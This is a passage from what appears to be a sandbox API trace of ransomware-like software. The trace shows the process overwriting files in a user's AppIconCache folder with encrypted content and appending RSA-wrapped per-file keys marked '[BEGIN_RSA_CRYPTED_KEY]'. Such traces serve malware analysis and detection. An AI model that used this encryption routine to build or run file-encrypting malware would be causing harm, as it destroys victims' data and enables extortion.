[0247.574] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.574] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.575] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="c8cP7C3uxSYwmiKBmFaVEgi6KPGj+1n1W2YfPqo34QrBdonW1l3nMqG7M3H5IOsS\nUI1p0kdQQKyKwhbA06qwjG9I5qo9EFCF8meulxkpfqBvBiPLBoy2KNPdT0V8Aevp\n1nkQmEymXdFJyh190aSbKsd2dnhyN0jC6LUY6Hlba0YXOOlPBkYuCmtjXMG85K6s\na6C9VkTuFTWl9ftuwUK/P1I9u1fQkQWqJAfXoV7R0gbyTwQrL7keLDK1JvlBPGXR\nwCR9IZAq1jiz0I5ZIwgpAGxslGs8zpfmYMhwD9HrTh3hlu7pqUrbIkDdvoZSes6M\nINEyAnfuCuxy6ENxxWj8uQ==\n", pcchString=0x2e3f9a8) returned 1 [0247.575] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.575] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.575] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.575] CloseHandle (hObject=0x1afc) returned 1 [0247.577] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.577] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{56628538-F2B6-49FB-9D10-354E728724C4}", dwFileAttributes=0x80) returned 1 [0247.577] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{56628538-F2B6-49FB-9D10-354E728724C4}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{56628538-f2b6-49fb-9d10-354e728724c4}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.578] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.578] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.591] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.591] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.591] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.591] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.591] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.591] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.591] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.592] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.592] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3rpwj7T6NLQFcKSUjd72hXqKGn69ydBJvGmlGeFQxljXgug73PoRCd4arTBVh14Q\nGXPf/JkZw3akaLD1766KGzalSttsJSU4PJws9TboY9R810eeQvAMQiogI+LOFP3K\np01WelaSQ6SOudWHlFiDEOPVHHfUmbKnqEzmgh8F5tj8KXgTSTRJOg6SfdTbuM/8\nYFIK8JKUqrTWXA58TQpNLljMVGm4s4eB6t/vnUB3CIZTubvJTyvNMZ43SiNqB8Dy\nW457Nzmcy0CaK9dANKUnDzmpx2LRrfngWJoy9YKm0pTuVGxqIFLby1SxkSSLqZMK\n/wacK8TDrpNkE9igJMKwpw==\n", pcchString=0x2e3f9a8) returned 1 [0247.592] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.592] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.592] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.592] CloseHandle (hObject=0x1afc) returned 1 [0247.594] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.594] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5637C49E-DEA6-4D65-B115-D7690B7A1CB0}", dwFileAttributes=0x80) returned 1 [0247.594] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5637C49E-DEA6-4D65-B115-D7690B7A1CB0}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5637c49e-dea6-4d65-b115-d7690b7a1cb0}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.595] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.595] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.596] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.596] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.596] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.596] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.596] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.597] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.597] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.597] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.597] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jqYA9aNJAupE5481uCH9WgriPiZrFDV5SyOgoDIr1zJKgc3eUuiwhKY+ZNI2XNuw\nTEyxoRKtSjzO3jx6tZ8tKZqiwPSd1PdQi1QioP4gjDM8VYox/xxR8d5kZGmKf38M\nrwKIPTQZOU5BQE/Amf2u1qFmAv2wlPoROJU5n8jtwDBtTxgLJDN6QYktHnyCtIlB\nv3xcNaj2+Fy94DEDa8/YtoebuJgwN9Fljr9eX8KweMA23eMxuNDdlJR8DlJQ3aJx\nkZ6BPM9AfYegvpViXGffoELbw38ZZbRsUad/vO98BMsyGva5lxue6u/PPhLJcq0P\nQ4VuaDvUeq3iGmR6Wj/8nA==\n", pcchString=0x2e3f9a8) returned 1 [0247.597] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.597] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.597] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.597] CloseHandle (hObject=0x1afc) returned 1 [0247.599] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.599] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5567FA0F-AE06-4D14-B697-1F596323F48A}", dwFileAttributes=0x80) returned 1 [0247.600] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5567FA0F-AE06-4D14-B697-1F596323F48A}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5567fa0f-ae06-4d14-b697-1f596323f48a}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.600] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.600] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.638] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.638] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.639] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.639] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.639] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.639] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.639] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.639] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.639] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="yJ9gDHs+z9LcTWnTouOeMfrNqBYU2B5W4l46ZwiJ57cj4bU5sMM9P7edzeYNvZbl\nIQABq0T6KBF4ZCUedw5Xwp9QVvxAgxMX2nTuCGD4HSlrxx24IWpeBH7C82N+sVQX\nbPdhnzbpkvBlBI7YEmt0Qz1kPnYRxGpF6OTxYrjOLqGDv0w2Cz348NZ6NGqyRisI\njp29UdhJNFkCxU/JyEK+wPPy5zlU6eazIX4YExmkCn4W9b79Kl0tqB0nkOlnx2XX\nHoKJeHZRRPB2zjrcjYItMd/ic3B7zesG83Oy2b+AbVpjFYHat+/BI4MsL7f7nMfJ\nvl6/U3fbabutS8CUTMa0hQ==\n", pcchString=0x2e3f9a8) returned 1 [0247.639] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.639] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.639] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.639] CloseHandle (hObject=0x1afc) returned 1 [0247.641] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.641] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5534E575-0865-48C0-B802-046F4903AAF0}", dwFileAttributes=0x80) returned 1 [0247.641] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5534E575-0865-48C0-B802-046F4903AAF0}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5534e575-0865-48c0-b802-046f4903aaf0}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.642] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.642] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.669] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.669] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.669] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.670] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.670] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.670] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.670] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.670] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.670] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Pvg4E+dKf1quYioGKb5z7JcrzTLbQBhP5PDzqGp3J8Cq32rdqK40SNTJH75Yguxg\nma5R3yH8j8oyDjDme6BZ9wwZDJ6ShET/BNqgEM2IyOyCE56hpfwHp1axbs0KwkBG\nsj8w0Tqz8WmFJj8GvSIiV2VmSbqI+9zBfTN163+7pk+xJ4XdJ3lKDHxXKUTR/dd3\n7h0tKWKqflr6AXqEX8alqxF/VfTNszC2b2zcu0WmmZU/jT3FMebxHyHGSle9w7nS\nWJNPfhNjj7eXV19MJ3pMx57e9CNd6KMv7B+v0kBaBNbRlKIiwxfyDqNcajQW5b2B\n1VVYMN/BeEzmBF4FpOtQZw==\n", pcchString=0x2e3f9a8) returned 1 [0247.670] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.670] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.671] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.671] CloseHandle (hObject=0x1afc) returned 1 [0247.678] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.678] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{53F21F3D-8237-4CEC-A18E-8D26D784916C}", dwFileAttributes=0x80) returned 1 [0247.679] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{53F21F3D-8237-4CEC-A18E-8D26D784916C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{53f21f3d-8237-4cec-a18e-8d26d784916c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.680] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.680] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.681] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.681] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.682] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.682] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.682] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.682] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.682] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.682] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.682] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="N2bkq+m2ab/8ddUOyddW4ZltWag84MKvE5PUNfCgGQ/9qkcDO3cFGcU1itzmDi5L\nm0Pes4/xH71u8eX13WpUbz26DwHmjAEe3LrLMiAAd/SCZqbiwFDZVLQ07q1z+GCu\naGm9sgVf6BxXnximW68Do25jiNIMv/O/ij+jE4uucjOkArOOjSkTPw//fVnZEscy\n12T36sSkLO8vRmfd6z39cQQP2ePFVTLsYn5GqD8zpZma4kJuAWzeTjRxItQUOLPB\n33CeqVja32KfJw2i6UwFf6auH0wP5oxPLij5KPvw4PMUTtmTQuqtbOJgRVsWFIs4\nWVshbS2aa/3BtfI/9V/yWw==\n", pcchString=0x2e3f9a8) returned 1 [0247.682] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.683] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.683] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.683] CloseHandle (hObject=0x1afc) returned 1 [0247.686] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.686] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{530FD476-4A81-49DE-B228-C202EACB8F92}", dwFileAttributes=0x80) returned 1 [0247.687] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{530FD476-4A81-49DE-B228-C202EACB8F92}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{530fd476-4a81-49de-b228-c202eacb8f92}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.688] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.688] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.704] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.704] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.704] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.705] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.705] 